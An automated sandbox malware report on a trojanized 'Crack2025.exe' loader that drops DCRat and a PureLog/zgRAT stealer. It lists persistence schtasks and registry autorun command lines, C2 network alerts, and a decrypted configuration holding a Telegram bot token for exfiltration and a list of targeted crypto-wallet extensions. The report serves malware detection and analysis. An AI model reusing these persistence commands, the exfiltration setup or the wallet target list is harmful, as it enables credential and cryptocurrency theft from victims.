Edit tour

Windows Analysis Report
Crack2025.exe

Overview

General Information

Sample name:	Crack2025.exe
Analysis ID:	1639972
MD5:	8799753790734ab065ddfdf5fadf4c9f
SHA1:	64bf9d7eadc069096c95fa363e36455545a529f1
SHA256:	c8af00d11b473b532868ad15bafda07122c04e69982c140533b693945b166090
Tags:	DCRatexeuser-aachum
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Drops executables to the windows directory (C:\Windows) and starts them

Infects executable files (exe, dll, sys, html)

Joe Sandbox ML detected suspicious sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to detect virtual machines (SLDT)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Crack2025.exe (PID: 7144 cmdline: "C:\Users\user\Desktop\Crack2025.exe" MD5: 8799753790734AB065DDFDF5FADF4C9F)

wscript.exe (PID: 4100 cmdline: "C:\Windows\System32\WScript.exe" "C:\Crtsvc\4ATaaGAsjCFOWm7aY5r6I.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 8336 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Crtsvc\wDGuVcXResLqCSg5nclCwVUnbT.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ComComponentRuntimeMonitor.exe (PID: 8388 cmdline: "C:\Crtsvc/ComComponentRuntimeMonitor.exe" MD5: 9939A508443B50F3065506B3EF554C79)

schtasks.exe (PID: 8628 cmdline: schtasks.exe /create /tn "xP1x1VNeIAPjWsHHYbBFNFYx" /sc MINUTE /mo 9 /tr "'C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8652 cmdline: schtasks.exe /create /tn "xP1x1VNeIAPjWsHHYbBFNFY" /sc ONLOGON /tr "'C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8684 cmdline: schtasks.exe /create /tn "xP1x1VNeIAPjWsHHYbBFNFYx" /sc MINUTE /mo 5 /tr "'C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

csc.exe (PID: 8708 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 8716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 8784 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD4D5.tmp" "c:\Windows\System32\CSCFA026A3CF3B54234ABC92E8882BC4427.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

schtasks.exe (PID: 8812 cmdline: schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Desktop\ShellExperienceHost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8840 cmdline: schtasks.exe /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\Users\Default User\Desktop\ShellExperienceHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8864 cmdline: schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Desktop\ShellExperienceHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8888 cmdline: schtasks.exe /create /tn "aePhPQ5epIOPbGayHva" /sc MINUTE /mo 10 /tr "'C:\Crtsvc\aePhPQ5epIOPbGayHv.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8912 cmdline: schtasks.exe /create /tn "aePhPQ5epIOPbGayHv" /sc ONLOGON /tr "'C:\Crtsvc\aePhPQ5epIOPbGayHv.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8940 cmdline: schtasks.exe /create /tn "aePhPQ5epIOPbGayHva" /sc MINUTE /mo 8 /tr "'C:\Crtsvc\aePhPQ5epIOPbGayHv.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8964 cmdline: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\smartscreen.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8992 cmdline: schtasks.exe /create /tn "smartscreen" /sc ONLOGON /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9020 cmdline: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9044 cmdline: schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Pictures\Registry.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9068 cmdline: schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Users\Public\Pictures\Registry.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9092 cmdline: schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Pictures\Registry.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9116 cmdline: schtasks.exe /create /tn "ComComponentRuntimeMonitorC" /sc MINUTE /mo 5 /tr "'C:\Crtsvc\ComComponentRuntimeMonitor.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9140 cmdline: schtasks.exe /create /tn "ComComponentRuntimeMonitor" /sc ONLOGON /tr "'C:\Crtsvc\ComComponentRuntimeMonitor.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9168 cmdline: schtasks.exe /create /tn "ComComponentRuntimeMonitorC" /sc MINUTE /mo 6 /tr "'C:\Crtsvc\ComComponentRuntimeMonitor.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

xP1x1VNeIAPjWsHHYbBFNFY.exe (PID: 8668 cmdline: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe MD5: 9939A508443B50F3065506B3EF554C79)

aePhPQ5epIOPbGayHv.exe (PID: 6116 cmdline: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe MD5: 9939A508443B50F3065506B3EF554C79)

aePhPQ5epIOPbGayHv.exe (PID: 5156 cmdline: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe MD5: 9939A508443B50F3065506B3EF554C79)

ComComponentRuntimeMonitor.exe (PID: 7124 cmdline: C:\Crtsvc\ComComponentRuntimeMonitor.exe MD5: 9939A508443B50F3065506B3EF554C79)

ComComponentRuntimeMonitor.exe (PID: 7164 cmdline: C:\Crtsvc\ComComponentRuntimeMonitor.exe MD5: 9939A508443B50F3065506B3EF554C79)

Registry.exe (PID: 3432 cmdline: C:\Users\Public\Pictures\Registry.exe MD5: 9939A508443B50F3065506B3EF554C79)

Registry.exe (PID: 412 cmdline: C:\Users\Public\Pictures\Registry.exe MD5: 9939A508443B50F3065506B3EF554C79)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.eclecticiq.com/sandworm-apt-targets-ukrainian-users-with-trojanized-microsoft-kms-activation-tools-in-cyber-espionage-campaigns https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Crtsvc\ComComponentRuntimeMonitor.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Crtsvc\ComComponentRuntimeMonitor.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\ProgramData\smartscreen.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\ProgramData\smartscreen.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\Desktop\ShellExperienceHost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\Default\Desktop\ShellExperienceHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Public\Pictures\Registry.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\Public\Pictures\Registry.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
00000009.00000000.1401692601.00000000002D2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000003.1264146143.00000000073E4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.1485618171.00000000127BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: ComComponentRuntimeMonitor.exe PID: 8388	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: xP1x1VNeIAPjWsHHYbBFNFY.exe PID: 8668	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
9.0.ComComponentRuntimeMonitor.exe.2d0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
9.0.ComComponentRuntimeMonitor.exe.2d0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Pictures\Registry.exe, CommandLine: C:\Users\Public\Pictures\Registry.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Pictures\Registry.exe, NewProcessName: C:\Users\Public\Pictures\Registry.exe, OriginalFileName: C:\Users\Public\Pictures\Registry.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Users\Public\Pictures\Registry.exe, ProcessId: 3432, ProcessName: Registry.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ProcessId: 8388, TargetFilename: C:\Users\All Users\smartscreen.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\Public\Pictures\Registry.exe", EventID: 13, EventType: SetValue, Image: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ProcessId: 8388, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe", EventID: 13, EventType: SetValue, Image: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ProcessId: 8388, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xP1x1VNeIAPjWsHHYbBFNFY

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe", EventID: 13, EventType: SetValue, Image: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ProcessId: 8388, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Crtsvc/ComComponentRuntimeMonitor.exe", ParentImage: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ParentProcessId: 8388, ParentProcessName: ComComponentRuntimeMonitor.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline", ProcessId: 8708, ProcessName: csc.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Pictures\Registry.exe'" /f, CommandLine: schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Pictures\Registry.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Crtsvc/ComComponentRuntimeMonitor.exe", ParentImage: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ParentProcessId: 8388, ParentProcessName: ComComponentRuntimeMonitor.exe, ProcessCommandLine: schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Pictures\Registry.exe'" /f, ProcessId: 9044, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Crtsvc\4ATaaGAsjCFOWm7aY5r6I.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Crtsvc\4ATaaGAsjCFOWm7aY5r6I.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Crack2025.exe", ParentImage: C:\Users\user\Desktop\Crack2025.exe, ParentProcessId: 7144, ParentProcessName: Crack2025.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Crtsvc\4ATaaGAsjCFOWm7aY5r6I.vbe" , ProcessId: 4100, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ProcessId: 8388, TargetFilename: C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Crtsvc/ComComponentRuntimeMonitor.exe", ParentImage: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ParentProcessId: 8388, ParentProcessName: ComComponentRuntimeMonitor.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmghpwjx\zmghpwjx.cmdline", ProcessId: 8708, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\smartscreen.exe'" /f, CommandLine: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\smartscreen.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Crtsvc/ComComponentRuntimeMonitor.exe", ParentImage: C:\Crtsvc\ComComponentRuntimeMonitor.exe, ParentProcessId: 8388, ParentProcessName: ComComponentRuntimeMonitor.exe, ProcessCommandLine: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\smartscreen.exe'" /f, ProcessId: 8964, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-16T19:31:51.117740+0100	2048095	1	A Network Trojan was detected	192.168.2.5	49732	172.67.159.138	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-16T19:31:24.394548+0100	2803305	3	Unknown Traffic	192.168.2.5	49725	34.117.59.81	443	TCP
2025-03-16T19:32:24.401908+0100	2803305	3	Unknown Traffic	192.168.2.5	49739	34.117.59.81	443	TCP

Joe Security ANOMALY Telegram Send Photo

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-16T19:31:25.584055+0100	1810009	1	Potentially Bad Traffic	192.168.2.5	49728	149.154.167.220	443	TCP
2025-03-16T19:32:25.363006+0100	1810009	1	Potentially Bad Traffic	192.168.2.5	49740	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\tvkLaiES.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\Public\Pictures\Registry.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Crtsvc\4ATaaGAsjCFOWm7aY5r6I.vbe	Avira: detection malicious, Label: VBS/Runner.VPA
Source: C:\Users\user\Desktop\KbrbnaEo.log	Avira: detection malicious, Label: TR/Spy.xaclu
Source: C:\Users\user\Desktop\kMRvrGzk.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\AppData\Local\Temp\GDyy9YDsU6.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\ProgramData\smartscreen.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\Default\Desktop\ShellExperienceHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Multi AV Scanner detection for dropped file

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	ReversingLabs: Detection: 65%
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	ReversingLabs: Detection: 65%
Source: C:\ProgramData\smartscreen.exe	ReversingLabs: Detection: 65%
Source: C:\Users\Default\Desktop\ShellExperienceHost.exe	ReversingLabs: Detection: 65%
Source: C:\Users\Public\Pictures\Registry.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\Desktop\SFAQXTUW.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\ZgWXldfI.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\biIGHMkD.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\kMRvrGzk.log	ReversingLabs: Detection: 34%
Source: C:\Users\user\Desktop\tvkLaiES.log	ReversingLabs: Detection: 70%
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: Crack2025.exe	Virustotal: Detection: 72%			Perma Link
Source: Crack2025.exe	ReversingLabs: Detection: 66%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000009.00000002.1485618171.00000000127BB000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"TelegramNotifer":{"chatid":"6289890180","bottoken":"7756238957:AAHvV3zk_7YEKqo4UEP1y3YWBMYahxxWzGM","settings":"new user connect !\nID: {USERID}\nComment: {COMMENT}\nUsername: {USERNAME}\nPC Name: {PCNAME}\nIP: {IP}\nGEO: {GEO}","sendmessageonce":"True","sendloginfostealer":"True","stealersetting":"Log collected\nID: {USERID}\nComment: {COMMENT}\nLog size: {SIZE}"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"}}
Source: 00000009.00000002.1485618171.00000000127BB000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-lyFL9C96UdpRArWkuUmQ","0","????????+??????????","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
